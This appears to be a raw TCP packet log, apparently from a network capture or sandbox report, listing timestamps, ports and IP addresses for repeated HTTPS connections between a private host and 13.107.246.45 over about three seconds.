Nov 1, 2024 03:46:25.004012108 CET	49913	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:25.004051924 CET	443	49913	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:25.004113913 CET	49913	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:25.004265070 CET	49913	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:25.004271984 CET	443	49913	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:25.111246109 CET	443	49909	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:25.111824989 CET	49909	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:25.111838102 CET	443	49909	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:25.112377882 CET	49909	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:25.112400055 CET	443	49909	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:25.255103111 CET	443	49909	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:25.255186081 CET	443	49909	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:25.255264997 CET	49909	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:25.255479097 CET	49909	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:25.255496979 CET	443	49909	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:25.255507946 CET	49909	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:25.255516052 CET	443	49909	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:25.258719921 CET	49914	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:25.258752108 CET	443	49914	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:25.258934021 CET	49914	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:25.259113073 CET	49914	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:25.259124041 CET	443	49914	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:25.466423988 CET	443	49911	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:25.466996908 CET	49911	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:25.467006922 CET	443	49911	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:25.467498064 CET	49911	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:25.467504025 CET	443	49911	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:25.493202925 CET	443	49910	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:25.494097948 CET	49910	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:25.494116068 CET	443	49910	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:25.494961023 CET	49910	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:25.494967937 CET	443	49910	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:25.597516060 CET	443	49912	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:25.598145008 CET	49912	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:25.598165035 CET	443	49912	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:25.598742008 CET	49912	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:25.598746061 CET	443	49912	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:25.614166021 CET	443	49911	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:25.614517927 CET	443	49911	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:25.614572048 CET	443	49911	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:25.614573956 CET	49911	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:25.614634037 CET	49911	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:25.614675999 CET	49911	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:25.614675999 CET	49911	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:25.614692926 CET	443	49911	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:25.614708900 CET	443	49911	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:25.617568970 CET	49915	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:25.617598057 CET	443	49915	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:25.617697001 CET	49915	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:25.617868900 CET	49915	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:25.617880106 CET	443	49915	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:25.626430035 CET	443	49910	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:25.626475096 CET	443	49910	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:25.626569986 CET	49910	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:25.626688957 CET	49910	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:25.626707077 CET	443	49910	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:25.626717091 CET	49910	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:25.626722097 CET	443	49910	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:25.629059076 CET	49916	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:25.629100084 CET	443	49916	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:25.629159927 CET	49916	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:25.629309893 CET	49916	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:25.629327059 CET	443	49916	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:25.727375031 CET	443	49912	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:25.727708101 CET	443	49912	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:25.727782965 CET	49912	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:25.727859974 CET	49912	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:25.727859974 CET	49912	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:25.727897882 CET	443	49912	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:25.727922916 CET	443	49912	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:25.730225086 CET	49917	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:25.730246067 CET	443	49917	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:25.730427980 CET	49917	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:25.730581045 CET	49917	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:25.730592012 CET	443	49917	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:25.741235018 CET	443	49913	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:25.741616964 CET	49913	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:25.741626978 CET	443	49913	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:25.742058992 CET	49913	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:25.742068052 CET	443	49913	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:25.877568007 CET	443	49913	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:25.877614975 CET	443	49913	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:25.877744913 CET	49913	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:25.878051996 CET	49913	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:25.878062010 CET	443	49913	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:25.878072023 CET	49913	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:25.878077030 CET	443	49913	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:25.881674051 CET	49918	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:25.881715059 CET	443	49918	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:25.881793976 CET	49918	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:25.881942987 CET	49918	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:25.881961107 CET	443	49918	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:26.025702953 CET	443	49914	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:26.026384115 CET	49914	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:26.026432991 CET	443	49914	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:26.026900053 CET	49914	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:26.026916027 CET	443	49914	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:26.163239956 CET	443	49914	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:26.163355112 CET	443	49914	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:26.163458109 CET	49914	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:26.163692951 CET	49914	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:26.163700104 CET	443	49914	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:26.163710117 CET	49914	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:26.163713932 CET	443	49914	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:26.166887999 CET	49919	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:26.166908026 CET	443	49919	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:26.166986942 CET	49919	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:26.167155981 CET	49919	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:26.167169094 CET	443	49919	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:26.361902952 CET	443	49916	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:26.362613916 CET	49916	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:26.362636089 CET	443	49916	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:26.363101959 CET	49916	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:26.363107920 CET	443	49916	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:26.388993979 CET	443	49915	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:26.389388084 CET	49915	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:26.389405012 CET	443	49915	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:26.389761925 CET	49915	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:26.389765978 CET	443	49915	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:26.465378046 CET	443	49917	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:26.468439102 CET	49917	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:26.468449116 CET	443	49917	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:26.468907118 CET	49917	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:26.468911886 CET	443	49917	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:26.491740942 CET	443	49916	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:26.491764069 CET	443	49916	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:26.491795063 CET	443	49916	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:26.491839886 CET	49916	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:26.491889000 CET	49916	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:26.492053032 CET	49916	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:26.492079020 CET	443	49916	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:26.492088079 CET	49916	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:26.492094040 CET	443	49916	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:26.495145082 CET	49920	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:26.495193005 CET	443	49920	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:26.496556997 CET	49920	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:26.496700048 CET	49920	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:26.496716022 CET	443	49920	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:26.524662018 CET	443	49915	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:26.524688959 CET	443	49915	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:26.524749041 CET	443	49915	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:26.524883986 CET	49915	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:26.525171041 CET	49915	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:26.525182962 CET	443	49915	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:26.525192022 CET	49915	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:26.525196075 CET	443	49915	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:26.536317110 CET	49921	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:26.536336899 CET	443	49921	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:26.536525965 CET	49921	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:26.536700010 CET	49921	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:26.536710978 CET	443	49921	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:26.596297979 CET	443	49917	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:26.596316099 CET	443	49917	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:26.596349955 CET	443	49917	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:26.596458912 CET	49917	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:26.596671104 CET	49917	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:26.596683025 CET	443	49917	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:26.596693039 CET	49917	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:26.596695900 CET	443	49917	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:26.599500895 CET	49922	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:26.599525928 CET	443	49922	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:26.600075960 CET	49922	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:26.600250006 CET	49922	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:26.600264072 CET	443	49922	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:26.606857061 CET	443	49918	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:26.608413935 CET	49918	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:26.608433008 CET	443	49918	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:26.608879089 CET	49918	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:26.608885050 CET	443	49918	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:26.734973907 CET	443	49918	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:26.735024929 CET	443	49918	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:26.735136986 CET	49918	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:26.735210896 CET	49918	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:26.735229015 CET	443	49918	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:26.735238075 CET	49918	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:26.735241890 CET	443	49918	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:26.737699032 CET	49923	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:26.737729073 CET	443	49923	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:26.740094900 CET	49923	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:26.740221024 CET	49923	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:26.740233898 CET	443	49923	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:26.911499977 CET	443	49919	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:26.912111044 CET	49919	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:26.912121058 CET	443	49919	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:26.912744999 CET	49919	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:26.912750006 CET	443	49919	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:27.044321060 CET	443	49919	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:27.044832945 CET	443	49919	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:27.044879913 CET	443	49919	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:27.044925928 CET	49919	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:27.045085907 CET	49919	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:27.045085907 CET	49919	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:27.045085907 CET	49919	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:27.047990084 CET	49924	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:27.048021078 CET	443	49924	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:27.048137903 CET	49924	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:27.048293114 CET	49924	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:27.048309088 CET	443	49924	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:27.221251965 CET	443	49920	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:27.271739006 CET	49920	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:27.272037983 CET	49920	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:27.272047043 CET	443	49920	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:27.295948982 CET	49920	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:27.295970917 CET	443	49920	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:27.303293943 CET	443	49921	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:27.304223061 CET	49921	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:27.304233074 CET	443	49921	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:27.304965019 CET	49921	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:27.304970026 CET	443	49921	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:27.326950073 CET	443	49922	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:27.328533888 CET	49922	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:27.328552008 CET	443	49922	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:27.332484961 CET	49922	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:27.332496881 CET	443	49922	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:27.349865913 CET	49919	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:27.349874973 CET	443	49919	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:27.419900894 CET	443	49920	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:27.419950008 CET	443	49920	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:27.420003891 CET	49920	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:27.421437025 CET	49920	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:27.421437025 CET	49920	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:27.421458006 CET	443	49920	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:27.421467066 CET	443	49920	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:27.439371109 CET	443	49921	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:27.439399004 CET	443	49921	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:27.439455032 CET	49921	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:27.439465046 CET	443	49921	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:27.439476967 CET	443	49921	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:27.439526081 CET	49921	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:27.445347071 CET	49921	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:27.445354939 CET	443	49921	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:27.445363045 CET	49921	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:27.445367098 CET	443	49921	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:27.457094908 CET	49925	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:27.457125902 CET	443	49925	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:27.457277060 CET	49925	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:27.460733891 CET	49926	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:27.460764885 CET	443	49926	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:27.460829020 CET	49926	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:27.461082935 CET	49925	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:27.461097002 CET	443	49925	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:27.461462975 CET	49926	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:27.461478949 CET	443	49926	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:27.462723017 CET	443	49922	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:27.462742090 CET	443	49922	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:27.462774038 CET	443	49922	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:27.462786913 CET	49922	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:27.462820053 CET	49922	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:27.463068962 CET	49922	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:27.463083029 CET	443	49922	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:27.463093042 CET	49922	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:27.463098049 CET	443	49922	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:27.483120918 CET	443	49923	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:27.485318899 CET	49923	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:27.485327959 CET	443	49923	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:27.488509893 CET	49923	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:27.488513947 CET	443	49923	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:27.491831064 CET	49927	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:27.491852999 CET	443	49927	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:27.491908073 CET	49927	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:27.492171049 CET	49927	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:27.492185116 CET	443	49927	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:27.614736080 CET	443	49923	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:27.614887953 CET	443	49923	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:27.614921093 CET	443	49923	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:27.614942074 CET	49923	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:27.614981890 CET	49923	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:27.616534948 CET	49923	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:27.616552114 CET	443	49923	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:27.616564035 CET	49923	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:27.616569042 CET	443	49923	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:27.685390949 CET	49928	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:27.685451984 CET	443	49928	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:27.685528040 CET	49928	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:27.686178923 CET	49928	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:27.686208963 CET	443	49928	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:27.763819933 CET	443	49924	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:27.771948099 CET	49924	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:27.771959066 CET	443	49924	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:27.772970915 CET	49924	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:27.772975922 CET	443	49924	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:27.899647951 CET	443	49924	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:27.899704933 CET	443	49924	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:27.899852037 CET	49924	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:27.913484097 CET	49924	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:27.913501024 CET	443	49924	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:27.913548946 CET	49924	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:27.913556099 CET	443	49924	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:27.919297934 CET	49929	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:27.919328928 CET	443	49929	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:27.919398069 CET	49929	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:27.919552088 CET	49929	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:27.919564962 CET	443	49929	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:28.187215090 CET	443	49925	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:28.187829971 CET	49925	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:28.187839985 CET	443	49925	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:28.188292027 CET	49925	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:28.188297033 CET	443	49925	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:28.201374054 CET	443	49926	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:28.201792002 CET	49926	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:28.201802969 CET	443	49926	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:28.202205896 CET	49926	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:28.202210903 CET	443	49926	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:28.228456974 CET	443	49927	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:28.228863001 CET	49927	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:28.228878021 CET	443	49927	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:28.229235888 CET	49927	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:28.229240894 CET	443	49927	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:28.316895008 CET	443	49925	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:28.317006111 CET	443	49925	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:28.317061901 CET	49925	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:28.317189932 CET	49925	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:28.317212105 CET	443	49925	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:28.317224979 CET	49925	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:28.317233086 CET	443	49925	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:28.320323944 CET	49930	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:28.320410013 CET	443	49930	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:28.320563078 CET	49930	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:28.320799112 CET	49930	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:28.320831060 CET	443	49930	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:28.336343050 CET	443	49926	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:28.336405039 CET	443	49926	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:28.336652994 CET	49926	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:28.336709023 CET	49926	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:28.336724997 CET	443	49926	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:28.336735010 CET	49926	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:28.336739063 CET	443	49926	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:28.339833021 CET	49931	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:28.339864969 CET	443	49931	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:28.340059042 CET	49931	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:28.340179920 CET	49931	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:28.340193033 CET	443	49931	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:28.358580112 CET	443	49927	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:28.358661890 CET	443	49927	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:28.358699083 CET	443	49927	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:28.358711004 CET	49927	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:28.358747959 CET	49927	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:28.358926058 CET	49927	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:28.358933926 CET	443	49927	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:28.358947992 CET	49927	443	192.168.2.4	13.107.246.45
